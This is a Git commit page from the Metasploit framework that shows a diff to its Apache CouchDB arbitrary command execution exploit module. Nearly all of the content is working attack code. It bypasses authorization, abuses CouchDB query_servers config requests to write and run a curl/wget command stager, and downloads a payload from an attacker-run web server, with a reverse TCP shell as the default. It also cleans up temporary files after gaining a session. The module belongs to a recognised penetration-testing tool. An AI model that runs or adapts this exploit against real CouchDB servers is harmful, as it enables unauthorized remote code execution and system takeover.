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metasploit-framework
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Use cmdstager method, update function to clean file, delete lots of useless code and etc.

GSoC/Meterpreter_Web_Console
Green-m 2018-04-10 06:14:47 -04:00
parent c0be313691
commit 3c5cbd2664
1 changed files with 82 additions and 69 deletions
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147
modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
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@ -7,11 +7,11 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Couchdb Arbitrary Command Execution',
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
@ -32,19 +32,18 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' =>
{
'Space' => 4096, # Has into account Apache request length and base64 ratio
'DisableNops' => true
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {} ]
['Automatic', {} ],
['Apache CouchDB version 1.x', {} ],
['Apache CouchDB version 2.x', {} ]
],
'DefaultTarget' => 0
))
@ -57,7 +56,8 @@ class MetasploitModule < Msf::Exploit::Remote
])
register_advanced_options(
[
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.'])
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
@ -76,14 +76,20 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
@exploit_flag = false
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't access the server.") unless get_version
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
start_http_server
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')
if !datastore['Attempts'] || datastore['Attempts'] == 0
if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
@ -96,6 +102,9 @@ class MetasploitModule < Msf::Exploit::Remote
# break if we get the shell
break if @exploit_flag
end
print_status("Shutting down the web service...")
stop_service
end
# CVE-2017-12635
@ -149,7 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
if res && res.code == 200
res_json = res.get_json_document if res
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
@ -159,19 +174,29 @@ class MetasploitModule < Msf::Exploit::Remote
end
def send_payload(version)
vprint_status("#{peer} - version is #{version}") if version
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
case
when version < '1.7.0'
# Version not found
when version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
when version.between?('2.0.0','2.1.0')
elsif target == targets[2]
payload2
when version >= '1.7.0' || version > '2.1.0'
end
when version < Gem::Version.new('1.7.0')
payload1
when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
else
# Version not found, try randomly payload
vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...")
send([:payload1,:payload2].sample)
end
@ -186,14 +211,14 @@ class MetasploitModule < Msf::Exploit::Remote
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
@file_to_clean = rand_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
)
@ -222,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"/bin/bash #{rand_file}"}
'data' => %Q{"/bin/sh #{rand_file}"}
)
res = send_request_cgi(
@ -232,6 +257,8 @@ class MetasploitModule < Msf::Exploit::Remote
'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
)
end
# payload2 is for the version of couchdb below 2.1.1
@ -243,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
@file_to_clean = rand_file
@ -259,7 +286,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
)
@ -288,7 +315,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"/bin/bash #{rand_file}"}
'data' => %Q{"/bin/sh #{rand_file}"}
)
@ -301,61 +328,47 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
#
# Override methods
#
def on_request_uri(cli, request)
if (not @pl)
if (not @cmdstager)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent']
if request.headers['User-Agent'] !~ /curl/
print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
send_not_found(cli)
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
send_response(cli, @pl)
print_status("Sending payload #{datastore['PAYLOAD']}")
super
end
def start_http_server
@pl = payload.encoded
resource_uri = datastore['URIPATH'] || random_uri
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
def start_service(opts = {})
super
@service_url = get_uri
end
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}"
service_url_payload = srv_host + resource_uri
vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end
# mark the exploit successful and clean temp file created during exploiting
def on_new_session(client)
# mark flag be true to stop exploit.
@exploit_flag = true
# CmdStager should rm the file, but it blocks on the payload, so we do it
@file_to_clean << " #{cmdstager_path}"
vprint_status("Cleaning temp file #{@file_to_clean}")
begin
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @file_to_clean
else
client.shell_command_token("rm #{@file_to_clean}")
end
vprint_good("Cleaned temp file successful.")
rescue
print_warning("Need to clean the temp file #{@file_to_clean} manually.")